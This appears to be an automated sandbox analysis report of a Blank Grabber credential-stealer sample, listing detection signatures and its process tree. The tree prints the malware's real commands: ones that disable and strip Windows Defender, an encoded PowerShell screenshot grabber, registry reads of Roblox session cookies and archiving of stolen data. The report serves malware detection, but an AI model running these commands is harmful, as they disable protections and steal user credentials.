Edit tour

Windows Analysis Report
VSSADMIN.EXE.exe

Overview

General Information

Sample Name:	VSSADMIN.EXE.exe
Analysis ID:	1309234
MD5:	b8e16b93be678043ec587ec1c759c2de
SHA1:	a8c98ba05ac710a92c4df15956f81cf81073746f
SHA256:	15dd97919ebcb246add4fc9e9b201bdd67da510c79f8d89cb4edc7fbf64858fa
Tags:	exeHUN
Infos:

Detection

Blank Grabber

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Yara detected Blank Grabber

Found malware configuration

Multi AV Scanner detection for submitted file

Sigma detected: Dot net compiler compiles file from suspicious location

Multi AV Scanner detection for dropped file

Drops PE files to the startup folder

Uses cmd line tools excessively to alter registry or file data

Encrypted powershell cmdline option found

Removes signatures from Windows Defender

Modifies existing user documents (likely ransomware behavior)

May check the online IP address of the machine

DLL side loading technique detected

Adds a directory exclusion to Windows Defender

Found many strings related to Crypto-Wallets (likely being stolen)

Tries to harvest and steal browser information (history, passwords, etc)

Drops PE files with a suspicious file extension

Bypasses PowerShell execution policy

Modifies the hosts file

Very long command line found

Suspicious powershell command line found

Modifies Windows Defender protection settings

Potentially malicious time measurement code found

Potential dropper URLs found in powershell memory

Drops PE files to the application program directory (C:\ProgramData)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

Stores files to the Windows start menu directory

Too many similar processes found

Contains functionality to dynamically determine API calls

Contains long sleeps (>= 3 min)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops PE files

Tries to load missing DLLs

Creates a start menu entry (Start Menu\Programs\Startup)

Uses reg.exe to modify the Windows registry

Compiles C# or VB.Net code

Found large amount of non-executed APIs

Creates a process in suspended mode (likely to inject code)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to shutdown / reboot the system

PE file contains sections with non-standard names

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Yara detected Credential Stealer

Contains functionality to communicate with device drivers

Found dropped PE file which has not been started or loaded

Contains functionality which may be used to detect a debugger (GetProcessHeap)

PE file contains executable resources (Code or Archives)

Contains functionality for execution timing, often used to detect debuggers

Enables debug privileges

Sample file is different than original file name gathered from version info

PE file contains an invalid checksum

Extensive use of GetProcAddress (often used to hide API calls)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to detect virtual machines (SLDT)

PE / OLE file has an invalid certificate

Uses Microsoft's Enhanced Cryptographic Provider

Classification

Process Tree

System is w10x64

VSSADMIN.EXE.exe (PID: 6856 cmdline: C:\Users\user\Desktop\VSSADMIN.EXE.exe MD5: B8E16B93BE678043EC587EC1C759C2DE)

VSSADMIN.EXE.exe (PID: 6872 cmdline: C:\Users\user\Desktop\VSSADMIN.EXE.exe MD5: B8E16B93BE678043EC587EC1C759C2DE)

cmd.exe (PID: 6900 cmdline: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\VSSADMIN.EXE.exe'" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 6916 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

powershell.exe (PID: 7036 cmdline: powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\VSSADMIN.EXE.exe' MD5: 95000560239032BC68B4C2FDFCDEF913)

cmd.exe (PID: 6908 cmdline: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 6928 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

powershell.exe (PID: 7028 cmdline: powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend MD5: 95000560239032BC68B4C2FDFCDEF913)

MpCmdRun.exe (PID: 2996 cmdline: "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All MD5: A267555174BFA53844371226F482B86B)

cmd.exe (PID: 6936 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 6960 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

tasklist.exe (PID: 7060 cmdline: tasklist /FO LIST MD5: B12E0F9C42075B4B7AD01D0B6A48485D)

cmd.exe (PID: 6304 cmdline: C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 6344 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

WMIC.exe (PID: 6448 cmdline: wmic csproduct get uuid MD5: EC80E603E0090B3AC3C1234C2BA43A0F)

cmd.exe (PID: 1724 cmdline: C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 6568 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

reg.exe (PID: 5252 cmdline: REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2 MD5: E3DACF0B31841FA02064B4457D44B357)

cmd.exe (PID: 5280 cmdline: C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 5228 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

reg.exe (PID: 6616 cmdline: REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2 MD5: E3DACF0B31841FA02064B4457D44B357)

cmd.exe (PID: 5812 cmdline: C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 1008 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

WMIC.exe (PID: 5348 cmdline: wmic path win32_VideoController get name MD5: EC80E603E0090B3AC3C1234C2BA43A0F)

cmd.exe (PID: 5396 cmdline: C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 5388 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

WMIC.exe (PID: 6608 cmdline: wmic path win32_VideoController get name MD5: EC80E603E0090B3AC3C1234C2BA43A0F)

cmd.exe (PID: 6732 cmdline: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ???.scr'" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 6676 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

powershell.exe (PID: 6920 cmdline: powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ???.scr' MD5: 95000560239032BC68B4C2FDFCDEF913)

cmd.exe (PID: 6476 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 6352 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

tasklist.exe (PID: 6560 cmdline: tasklist /FO LIST MD5: B12E0F9C42075B4B7AD01D0B6A48485D)

cmd.exe (PID: 6580 cmdline: C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 6532 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

reg.exe (PID: 6156 cmdline: REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath MD5: E3DACF0B31841FA02064B4457D44B357)

cmd.exe (PID: 6596 cmdline: C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 5248 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

powershell.exe (PID: 6128 cmdline: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA= MD5: 95000560239032BC68B4C2FDFCDEF913)

csc.exe (PID: 6704 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ozweafg0\ozweafg0.cmdline MD5: 23EE3D381CFE3B9F6229483E2CE2F9E1)

cvtres.exe (PID: 1768 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESCCB6.tmp" "c:\Users\user\AppData\Local\Temp\ozweafg0\CSCCDFC3EC49286452EA176429826C32718.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

cmd.exe (PID: 4512 cmdline: C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 3000 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

attrib.exe (PID: 5140 cmdline: attrib -r C:\Windows\System32\drivers\etc\hosts MD5: FDC601145CD289C6FBC96D3F805F3CD7)

cmd.exe (PID: 6836 cmdline: C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 5368 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

attrib.exe (PID: 5196 cmdline: attrib +r C:\Windows\System32\drivers\etc\hosts MD5: FDC601145CD289C6FBC96D3F805F3CD7)

cmd.exe (PID: 6508 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 6400 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

tasklist.exe (PID: 6848 cmdline: tasklist /FO LIST MD5: B12E0F9C42075B4B7AD01D0B6A48485D)

cmd.exe (PID: 5204 cmdline: C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 6556 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

powershell.exe (PID: 7068 cmdline: powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY MD5: 95000560239032BC68B4C2FDFCDEF913)

cmd.exe (PID: 1008 cmdline: C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 4828 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

powershell.exe (PID: 6972 cmdline: powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY MD5: 95000560239032BC68B4C2FDFCDEF913)

cmd.exe (PID: 4512 cmdline: C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI68562\rar.exe a -r -hp"Zsombec1234" "C:\Users\user\AppData\Local\Temp\7sLxM.zip" *" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 3000 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

rar.exe (PID: 6692 cmdline: C:\Users\user\AppData\Local\Temp\_MEI68562\rar.exe a -r -hp"Zsombec1234" "C:\Users\user\AppData\Local\Temp\7sLxM.zip" * MD5: 9C223575AE5B9544BC3D69AC6364F75E)

cmd.exe (PID: 6772 cmdline: C:\Windows\system32\cmd.exe /c "wmic os get Caption" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 5216 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

WMIC.exe (PID: 5288 cmdline: wmic os get Caption MD5: EC80E603E0090B3AC3C1234C2BA43A0F)

cmd.exe (PID: 1724 cmdline: C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 6476 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

WMIC.exe (PID: 5260 cmdline: wmic computersystem get totalphysicalmemory MD5: EC80E603E0090B3AC3C1234C2BA43A0F)

cmd.exe (PID: 6700 cmdline: C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 6328 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

WMIC.exe (PID: 6380 cmdline: wmic csproduct get uuid MD5: EC80E603E0090B3AC3C1234C2BA43A0F)

cmd.exe (PID: 5428 cmdline: C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 7032 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

powershell.exe (PID: 6592 cmdline: powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER MD5: 95000560239032BC68B4C2FDFCDEF913)

cmd.exe (PID: 1080 cmdline: C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 4772 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

